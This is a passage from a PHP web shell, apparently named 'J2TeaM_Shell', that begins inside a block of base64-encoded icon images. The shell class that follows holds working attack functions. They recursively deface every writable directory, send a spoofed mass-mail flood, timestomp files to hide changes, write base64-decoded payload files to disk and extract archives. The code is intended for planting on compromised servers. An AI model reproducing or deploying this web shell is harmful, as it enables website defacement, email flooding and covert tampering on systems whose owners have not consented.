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';
2585 $img['folder'] = 'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=';
2586 $img['link'] = 'R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjONSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHziUww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABkAAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDGMymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQADs=';
2587 $img['js'] = 'R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibHk0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhsa00AjYYBbc/o9HjNniUAADs=';
2588 $img['css'] = 'R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANLaArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VMSnEjgPVarHEHgrB43JvszsQEADs=';
2589 $img['image'] = 'R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEciCi8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftdFxEAOw==';
2590 $img['unknow'] = 'R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1Up9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmPwr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMzaQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpMuSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQCyIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDjyAsokBkQADs=';
2591 $img['txt'] = 'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJSArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7UpPWG3Ig6Hq/XmRjuZwkAAA7';
2592 $img['xml'] = 'R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACAgDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICxOAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQIQA7';
2593 $img['htaccess'] = 'R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJAAA7';
2594 $img['rar'] = 'R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JICWv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XFHgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGDUyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17puo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkgGwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMdHUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FBu4tLAgEAOw==';
2595 $img['exe'] = 'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqtxhIAOw==';
2596 return $img;
2597}
2598class J2TeaM_Shell {
2599 function encrypt_pwd($password) {
2600 return md5(SHELL_TEAM . sha1($password));
2601 }
2602 function get_reverse_ip_url($url) {
2603 return URL_REVERSE_IP . "?s={$url}&submit=Ki%E1%BB%83m+Tra&c2nd=c2nd";
2604 }
2605 function get_url($url, $text, $color = '', $target = '', $title = '') {
2606 $code = '<a href="' . $url . '"';
2607 if ($target != '') $code .= ' target="' . $target . '"';
2608 if ($title != '') $code .= ' title="' . $title . '"';
2609 $code .= '>';
2610 if ($color != '') $text = '<font color="' . $color . '">' . $text . '</font>';
2611 $code .= $text . '</a>';
2612 return $code;
2613 }
2614 function mass_deface($path, $file_name, $df_code) {
2615 if (empty($path)) $path = './';
2616 if (empty($file_name)) $file_name = 'J2TeaM.txt';
2617 if (empty($df_code)) $df_code = base64_decode('Q2hlY2tlZCBieSBKdW5vX29reW8gLSBKMlRlYU0u');
2618 $slash = '/';
2619 $idd = 0;
2620 $fp = fopen($path.$file_name, 'w');
2621 fwrite($fp, $df_code);
2622 fclose($fp);
2623 if ($dirhen = @opendir($path)) {
2624 $dirdata = array();
2625 while ($file = readdir($dirhen)) {
2626 $permdir = str_replace('//', '/', $path.$slash.$file);
2627 if($file != '.' && $file != '..' && is_dir($permdir)) {
2628 if (is_writable($permdir)) {
2629 if ($fm = fopen($permdir.$slash.$file_name, "w")) {
2630 fwrite($fm, $df_code);
2631 fclose($fm);
2632 $dirdata[$idd]['filename'] = $permdir;
2633 }
2634 $idd++;
2635 }
2636 $this->mass_deface($permdir, $file_name, $df_code);
2637 }
2638 }
2639 closedir($dirhen);
2640 } else return 'Error: open directories failed.';
2641 return ($dirdata) ? 'Done: Mass deface success!' : 'Error: directory not found.';
2642 }
2643 function boom_mail($to, $sub, $msg, $number) {
2644 if ($to == '') return 'Error: Address to send mail was not found?';
2645 $sub = ($sub != '') ? $sub : 'How are you today?';
2646 $message = ($msg != '') ? $msg : 'Hi, you was read an anonymous email from 127.0.0.1';
2647 $number = (int) $number;
2648 if ($number < 1 OR $number > 100) $number = 1;
2649 $headers = 'From: J2TeaM@anonymous.pro' . "\r\n" .
2650 'Reply-To: J2TeaM@anonymous.pro' . "\r\n" .
2651 'X-Mailer: PHP/' . PHP_VERSION;
2652 for ($i = 0; $i < $number; $i++) {
2653 $subject = $sub . ' - ' . $i;
2654 mail($to, $subject, $message, $headers);
2655 }
2656 return 'Your email was send to ' . $to . ' success.';
2657 }
2658 function create_menu($links = array(), $menu = '') {
2659 $i = 0;
2660 foreach ($links as $link => $text) {
2661 if ($i > 0) $menu .= ' | ';
2662 $menu .= $this->get_url("javascript:goaction('{$link}');", $text);
2663 $i++;
2664 }
2665 return $menu . "\r\n";
2666 }
2667 function change_time($file, $time) {
2668 return (@touch($file, $time, $time)) ? 'Success: ' . $file . ' - Date Modified: ' . date('Y-m-d H:i:s', $time) : 'Change date modified failed.';
2669 }
2670 function make_file($dir, $file, $source) {
2671 if (file_exists($dir . '/' . $file)) return 1;
2672 if ( ! file_exists($dir) && $dir != './') {
2673 mkdir($dir, 0755);
2674 }
2675 chdir($dir);
2676 $fp = @fopen($file, 'w');
2677 if ($fp === FALSE) return 0;
2678 else {
2679 if (fwrite($fp, base64_decode($source)) === FALSE) return 0;
2680 else {
2681 fclose($fp);
2682 return 1;
2683 }
2684 }
2685 }
2686 function get_frame($url, $width = '100%', $height = '500px') {
2687 return '<iframe src="' . $url . '" style="width: '.$width.'; height: '.$height.'; border: 1px solid #0F0; border-radius: 1px; background: none;"></iframe>';
2688 }
2689 function unzip($file, $path = './') {
2690 if ( ! file_exists($file)) return 'Error: File not found.';
2691 $zip = new ZipArchive;
2692 if ($zip->open($file) === TRUE) {
2693 $zip->extractTo($path);
2694 $zip->close();
2695 return 'Extract file was success.';
2696 } else return 'Extract file was failed. Please try again!';
2697 }
2698}
2699/* End of file j2team.php */